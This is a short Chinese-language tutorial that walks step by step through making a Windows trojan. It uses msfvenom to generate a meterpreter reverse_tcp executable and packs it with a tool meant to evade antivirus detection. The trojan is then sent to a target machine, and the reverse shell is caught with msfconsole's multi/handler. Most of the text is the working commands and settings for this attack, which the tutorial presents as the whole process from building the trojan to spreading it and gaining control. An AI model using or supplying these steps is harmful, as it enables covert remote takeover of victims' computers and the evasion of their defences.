1.本机IP/服务器IP确定
首先打开Kali linux终端,输入 ifconfig
其中标出的 inet xxx.xxx.X.X 就是Kali linux本机IP
2.生成木马程序并加壳免杀
msfvenom -p windows/meterpreter/reverse_tcp LHOST=服务器IP LPORT=服务器端口 -f exe > /root/exename.exe
其中的-p, 是指--payload
-f -format 输出格式
> /root/exename.exe 将文件输出到root根目录,名字为 exename.exe
接下来将生成好的木马文件传输到你的电脑上进行程序加壳免杀
免杀程序下载:Shielden-download
打开免杀程序:
手动选择程序或将程序拖入窗口
3.msfconsole
接下来把加密后的程序发送到你的目标靶机然后回到Kali linux控制台
输入: msfconsole
在打开msfconsole以后输入:
use exploit/multi/handler
再继续输入:
set payload windows/meterpreter/reverse_tcp
接下来输入:
show options
可以看到,图中的LHOST为空,LPORT和服务器设置的端口不一样,我们需要手动进行更改
输入:
set lhost 本地IP
set lport 本地端口
设置完以后,再次输入show options就能看到设置对应IP和端口了
接下来输入:
run
开始监听端口,如果端口正常未被占用将会出现以下信息:
接下来只需要在靶机上双击打开刚刚制作的木马程序即可
靶机打开后终端会显示并自动连接进入
这就是一个木马生成到传播运行最后拿到控制权的过程,meterpreter有很多命令,请自行查询